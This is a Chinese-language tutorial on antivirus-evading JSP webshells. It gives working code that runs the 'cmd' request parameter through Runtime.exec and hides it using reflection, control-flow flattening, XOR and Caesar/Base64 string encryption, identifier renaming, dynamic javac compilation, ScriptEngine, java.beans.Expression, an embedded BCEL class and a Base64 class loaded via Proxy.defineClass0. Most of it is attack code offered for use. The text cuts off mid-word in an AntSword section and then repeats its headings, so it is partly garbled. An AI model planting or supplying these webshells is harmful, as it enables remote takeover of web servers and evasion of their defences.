浅谈JSP Webshell进阶免杀
字数 607 2025-08-09 09:46:33

JSP Webshell进阶免杀技术详解

0x00 简介

本文详细介绍了多种JSP Webshell的免杀技术,包括反射调用、控制流平坦化、异或加密、字符串加密、标识符随机命名等混淆手段,以及Javac动态编译、ScriptEngine调用、Expression类、BCEL字节码和defineClass0等高级免杀技术。

0x01 基础免杀技术

1. 从一句话木马开始

基础JSP一句话木马:

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

改进版(加入回显和编码处理):

<%@ page language="java" pageEncoding="UTF-8" %>
<%
    Runtime rt = Runtime.getRuntime();
    String cmd = request.getParameter("cmd");
    Process process = rt.exec(cmd);
    java.io.InputStream in = process.getInputStream();
    out.print("");
    java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
    java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
    String s = null;
    while ((s = stdInput.readLine()) != null) {
        out.println(s);
    }
    out.print("");
%>

2. 反射调用免杀

使用反射调用Runtime类:

<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String PASSWORD = "password";
    String passwd = request.getParameter("pwd");
    String cmd = request.getParameter("cmd");
    if (!passwd.equals(PASSWORD)) return;
    
    Class rt = Class.forName("java.lang.Runtime");
    java.lang.reflect.Method gr = rt.getMethod("getRuntime");
    java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
    Process process = (Process) ex.invoke(gr.invoke(null), cmd);
    
    // 回显代码同上
%>

0x02 高级混淆技术

1. 控制流平坦化

将代码逻辑转换为switch块和分发器控制:

String dispenserArr = "0|1|2|3|4|5|6|7|8|9|10|11|12";
String[] b = dispenserArr.split("\\|");
int index = 0;

// 声明所有变量
String passwd = null;
String cmd = null;
Class rt = null;
// ...其他变量声明

while (true) {
    int op = Integer.parseInt(b[index++]);
    switch (op) {
        case 0: passwd = request.getParameter("pwd"); break;
        case 1: cmd = request.getParameter("cmd"); break;
        // ...其他case
    }
}

打乱分发器顺序

// 打乱分发器数组
String[] a = value.split("\\|");
for (int i = length; i > 0; i--) {
    int randInd = rand.nextInt(i);
    String temp = a[randInd];
    a[randInd] = a[i - 1];
    a[i - 1] = temp;
}

2. 异或加密数字

对数字进行异或加密:

Random random = new Random();
random.setSeed(System.currentTimeMillis());
for (IntegerLiteralExpr i : integers) {
    int value = Integer.parseInt(i.getValue());
    int key = random.nextInt(1000000) + 1000000;
    int cipherNum = value ^ key;
    // 构造 (cipherNum ^ key) 表达式
    EnclosedExpr enclosedExpr = new EnclosedExpr();
    BinaryExpr binaryExpr = new BinaryExpr();
    binaryExpr.setLeft(new IntegerLiteralExpr(String.valueOf(cipherNum)));
    binaryExpr.setRight(new IntegerLiteralExpr(String.valueOf(key)));
    binaryExpr.setOperator(BinaryExpr.Operator.XOR);
    enclosedExpr.setInner(binaryExpr);
    i.replace(enclosedExpr);
}

3. 字符串加密

使用Base64+凯撒加密字符串:

// 加密算法
public static String encryption(String str, int offset) {
    // 凯撒加密
    char c;
    StringBuilder str1 = new StringBuilder();
    for (int i = 0; i < str.length(); i++) {
        c = str.charAt(i);
        if (c >= 'a' && c <= 'z') {
            c = (char)(((c - 'a') + offset) % 26 + 'a');
        } 
        // 其他字符处理...
    }
    // Base64编码
    return new sun.misc.BASE64Encoder().encode(str1.toString().getBytes());
}

// 解密算法(需嵌入JSP)
public static String dec(String str, int offset) {
    try {
        byte[] code = java.util.Base64.getDecoder().decode(str.getBytes("utf-8"));
        str = new String(code);
        // 凯撒解密...
        return result;
    } catch (Exception ignored) { return ""; }
}

4. 标识符随机命名

随机重命名所有变量和方法:

Map<String,String> vas = new HashMap<>();
List<VariableDeclarator> vaList = method.findAll(VariableDeclarator.class);
for(VariableDeclarator va:vaList){
    String newName = RandomUtil.getRandomString(20);
    vas.put(va.getNameAsString(), newName);
    va.setName(newName);
}
// 更新引用
method.findAll(NameExpr.class).forEach(n->{
    if(vas.containsKey(n.getNameAsString())){
        n.setName(vas.get(n.getNameAsString()));
    }
});

0x03 高级免杀技术

1. Javac动态编译

动态生成Java代码并编译执行:

<%@ page import="java.nio.file.Files,javax.tools.*" %>
<%
    String tmpPath = Files.createTempDirectory("xxxxx").toFile().getPath();
    JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler();
    // 动态生成Java代码
    StringBuilder stringBuilder = new StringBuilder()
        .append("public class Evil" + id + " {\n")
        .append("   public static String result = \"\";\n")
        .append("   public Evil" + id + "() throws Throwable {\n")
        .append("       Process process = Runtime.getRuntime().exec(\"" + cmd + "\");\n")
        // ...其他代码
        .append("   }\n")
        .append("}");
    // 写入文件并编译
    Files.write(Paths.get(tmpPath + File.separator + "Evil" + id + ".java"), stringBuilder.toString().getBytes());
    Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Evil" + id + ".java");
    javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call();
    // 加载执行
    new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Evil" + id).newInstance();
%>

2. ScriptEngine调用

利用JavaScript引擎执行命令:

<%@ page import="java.io.InputStream" %>
<%
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("JavaScript");
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.append("function test(){")
        .append("importPackage(Packages.java.lang);\n")
        .append("var cmd = request.getParameter(\"cmd\");")
        .append("var x=java.lang.Runtime.getRuntime().exec(cmd);")
        .append("return x.getInputStream();};")
        .append("test();");
    java.io.InputStream in = (InputStream) engine.eval(stringBuilder.toString());
    // 处理回显...
%>

3. Expression类免杀

使用java.beans.Expression执行命令:

<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String cmd = request.getParameter("cmd");
    java.beans.Expression shell = new java.beans.Expression(
        Runtime.getRuntime(), "exec", new Object[]{cmd});
    java.io.InputStream in = ((Process)shell.getValue()).getInputStream();
    // 处理回显...
%>

4. BCEL字节码免杀

静态BCEL:

<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String bcelCode = "
$$
BCEL
$$
$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R
$$
Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86
$$
q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82
$$
$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0
$$
$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V
$$
ew$84$j6$a9$8e$fa$96$ac$X$b5To
$$
$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca
$$
$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90
$$
$83$bcT0$f8$b0$9eo$88$Z$r$fe
$$
$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A";
    Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
    ClassLoader loader = (ClassLoader) c.newInstance();
    Class<?> clazz = loader.loadClass(bcelCode);
    java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
    Object obj = constructor.newInstance(cmd);
%>

动态ASM生成BCEL:

<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%
    // 使用ASM动态生成类字节码
    jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
            jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
    // 定义类结构...
    classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
    // 定义字段和方法...
    
    // 转换为BCEL格式
    byte[] code = classWriter.toByteArray();
    String byteCode = com.sun.org.apache.bcel.internal.classfile.Utility.encode(code, true);
    byteCode = "
$$
BCEL
$$
" + byteCode;
    // 加载执行...
%>

5. defineClass0免杀

利用Proxy类的defineClass0方法加载字节码:

<%!
    public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        java.lang.reflect.Method method = java.lang.reflect.Proxy.class.getDeclaredMethod("defineClass0",
                ClassLoader.class, String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
    }
%>
<%
    byte[] bytes = new sun.misc.BASE64Decoder().decodeBuffer("yv66vgAAADQAcQoAGwAvBwAwCgACAC8HADEHADIKADMANAoAMwA1CgA2ADcKAAUAOAoABAA5CgAEADoKAAIAOwgAPAoAAgA9CQAQAD4HAD8KAEAAQQgAQgoAQwBECgBFAEYKAEUARwcASAoAFgAvCgAWAEkJAEoASwoATABNBwBOAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAD8HAE8HADAHADEBAApFeGNlcHRpb25zBwBQAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAKU291cmNlRmlsZQEAEUJ5dGVDb2RlRXZpbC5qYXZhDAAeAFEBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwBSDABTAFQMAFUAVgcAVwwAWABZDAAeAFoMAB4AWwwAXAAqDABdAF4BAAEKDAApACoMABwAHQEAGm9yZy9zZWMvc3RhcnQvQnl0ZUNvZGVFdmlsBwBfDABgAGEBABJCeXRlQ29kZUV2aWwuY2xhc3MHAGIMAGMAZAcAZQwAZgBnDABoAGkBABZzdW4vbWlzYy9CQVNFNjRFbmNvZGVyDABqAGsHAGwMAG0AbgcAbwwAcAAfAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAD2phdmEvbGFuZy9DbGFzcwEADmdldENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAE2dldFJlc291cmNlQXNTdHJlYW0BACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAAlhdmFpbGFibGUBAAMoKUkBAARyZWFkAQAFKFtCKUkBAAxlbmNvZGVCdWZmZXIBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuACEAEAAbAAAAAQAAABwAHQAAAAMAAQAeAB8AAgAgAAAAnAAGAAUAAABHKrcAAbsAAlm3AANNuwAEWbsABVm4AAYrtgAHtgAItwAJtwAKTi22AAtZOgTGABIsGQS2AAwSDbYADFen/+oqLLYADrUAD7EAAAACACEAAAAiAAIAAAAMAAQADQAMAA4AFAAPACUAEQAvABIAPgAUAEYAFQAiAAAAGwAC/wAlAAQHACMHACQHACUHACYAAPwAGAcAJAAnAAAABAABACgAAQApACoAAQAgAAAAdAABAAEAAAAFKrQAD7AAAAABACEAAAAGAAEAAAAYAAkAKwAsAAIAIAAAAGAAAgAFAAAAMBIQtgAREhK2ABNMK7YAFLwITSsstgAVV7sAFlm3ABdOLSy2ABg6BLIAGRkEtgAasQAAAAEAIQAAAB4ABwAAABwACwAdABIAHgAYAB8AIAAgACcAIQAvACIAJwAAAAQAAQAoAAEALQAAAAIALg==");
    Class<?> testClass = defineByProxy("org/sec/start/ByteCodeEvil", bytes);
    Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
%>

0x04 蚁剑免杀处理

对蚁剑Webshell进行混淆处理:

<%!
    class VGakJDyicU extends ClassLoader {
        VGakJDyicU(ClassLoader sjqhdnqocals) {
            super(sjqhdnqocals);
            // 添加无意义代码混淆
            for (int ZCzmllUXtVEeZskSMJEz = 0; ZCzmllUXtVEeZskSMJEz < 10; ZCzmllUXtVEeZskSMJEz++) {
                if (ZCzmllUXtVEeZskSMJEz == 7) break;
            }
        }

        public Class qwer(byte[] dqwbdjk) {
            // 添加无意义检查
            if (dqwbdjk.length == 0) {
                for (int Gsu
JSP Webshell进阶免杀技术详解 0x00 简介 本文详细介绍了多种JSP Webshell的免杀技术,包括反射调用、控制流平坦化、异或加密、字符串加密、标识符随机命名等混淆手段,以及Javac动态编译、ScriptEngine调用、Expression类、BCEL字节码和defineClass0等高级免杀技术。 0x01 基础免杀技术 1. 从一句话木马开始 基础JSP一句话木马: 改进版(加入回显和编码处理): 2. 反射调用免杀 使用反射调用Runtime类: 0x02 高级混淆技术 1. 控制流平坦化 将代码逻辑转换为switch块和分发器控制: 打乱分发器顺序 : 2. 异或加密数字 对数字进行异或加密: 3. 字符串加密 使用Base64+凯撒加密字符串: 4. 标识符随机命名 随机重命名所有变量和方法: 0x03 高级免杀技术 1. Javac动态编译 动态生成Java代码并编译执行: 2. ScriptEngine调用 利用JavaScript引擎执行命令: 3. Expression类免杀 使用java.beans.Expression执行命令: 4. BCEL字节码免杀 静态BCEL: 动态ASM生成BCEL: 5. defineClass0免杀 利用Proxy类的defineClass0方法加载字节码: 0x04 蚁剑免杀处理 对蚁剑Webshell进行混淆处理: